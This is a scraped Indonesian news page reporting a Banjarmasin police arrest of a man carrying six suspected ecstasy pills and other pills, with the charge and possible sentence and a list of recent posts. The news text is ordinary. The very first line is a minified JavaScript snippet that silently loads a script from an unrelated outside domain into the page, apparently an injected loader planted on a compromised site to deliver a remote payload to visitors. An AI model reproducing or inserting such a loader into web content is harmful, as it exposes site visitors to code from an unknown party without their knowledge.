(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Mengaku Hanya Senang-senang, Al Kedapatan Bawa 6 Biji Ekstasi


BANJARMASIN, Polsek Banjarmasin Tengah mendapati Al (38) membawa obat-obatan terlarang di Jalan Djok Menyata, Kelurahan Kertak Baru, Banjarmasin Timur, Sabtu (13/1) dinihari sekitar pukul 01.00 Wita.

Al, setelah diperiksa adalah seorang karyawan swasta, warga Trans Kalimantan Komplek Persada Permai, Desa Semangat Dalam, Kecamatan Alalak, Barito Kuala.

Kanit Reskrim Polsek Banteng Ipda Achmad Doni  Meidianto STK mengatakan, penangkapan tersangka dilakukan Unit Reskrim Polsek Banteng Bripka Tri Darma Rahmadi dan Bripda Aprizal Putera Dipa yang sedang melaksanakan giat patroli wilayah.

Dua anggota Polsek Banteng (Banjarmasin Tengah) ini kemudian melihat Al yang sedang duduk di pinggir jalan dengan gerak-gerik mencurigakan.

Setelah itu dilakukan penggeledahan terhadap Al, dan ternyata ditemukan barang bukti berupa 6 butir yang diduga narkotika jenis inek berlogo micky mouse warna merah muda. Dari tangan Al juga didapati 3 butir carnophen dan 1 butir obat berbentuk kapsul berwarna emas yang belum diketahui jenisnya. Obat-obatan terlarang itu oleh Al disembunyikan bersama handphone Blackberry di saku kantong celana bagian depan sebelah kiri.

Tersangka dijerat pasal 114 UU No.35 tahun 2009 tentang menjual, membeli, menerima, menjadi perantara dalam jual beli, menukar atau menyerahkan narkotika golongan I.

“Pelaku akan dikenakan pidana penjara seumur hidup, paling singkat 5 tahun, paling lama 20 tahun dan pidana denda paling sedikit Rp 1 miliar rupiah dan paling banyak Rp 10 miliar rupiah,” kata Kanit Reskrim Polsek Banteng.

Dari pengakuan tersangka, ia membawa barang terlarang tersebut untuk bersenang-senang saja. Pelaku beserta barang bukti dibawa dan diamankan di Polsek Banjarmasin Tengah guna pemeriksaan lebih lanjut. (ammar)

Foto : istimewa

 

Reporter : Ammar
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Biang Masalah Ruas Satu Arah Jalan PM Noor Sungai Ulin

Ada Lapak Penjual Durian, Angkutan ODOL hingga Parkir Bahu Jalan Pengunjung Read More

3 jam ago

Ini Empat Kasus Menonjol di Banjarbaru Tahun 2024

KANALKALIMANTAN.COM, BANJARBARU - Sedikitnya ada empat kasus tindak pidana yang dinilai menonjol terjadi di Ibu… Read More

5 jam ago

Jelang Acara Rutin Malam Senin Sekumpul, Naik BRT Banjarbakula Gratis Sepekan

KANALKALIMANTAN COM, BANJARMASIN - Kabar baik bagi warga Banjarmasin, Banjarbaru, Banjar, Barito Kuala, dan Tanah… Read More

8 jam ago

Puncak Batfest Menyala! Pesta Kembang Api dan Drone Show Happy New Year

KANALKALIMANTAN.COM, BATULICIN - Harmony stage panggung Batulicin Festival (Batfest) 2024 benar-benar bergetar dan menyala. Usai… Read More

9 jam ago

Siaga Kelistrikan Nataru, 1.615 Personel PLN Jaga Kalimantan Tetap Terang

KANALKALIMANTAN.COM, BANJARBARU - Di tengah gemerlap perayaan Natal 2024 dan Tahun Baru 2025, PT PLN… Read More

10 jam ago

Doa Bersama Masuk Pergantian Tahun

KANALKALIMANTAN.COM, AMUNTAI - Sebagai wujud rasa syukur serta harapan menyambut tahun 2025, Pemerintah Kabupaten (Pemkab)… Read More

10 jam ago

This website uses cookies.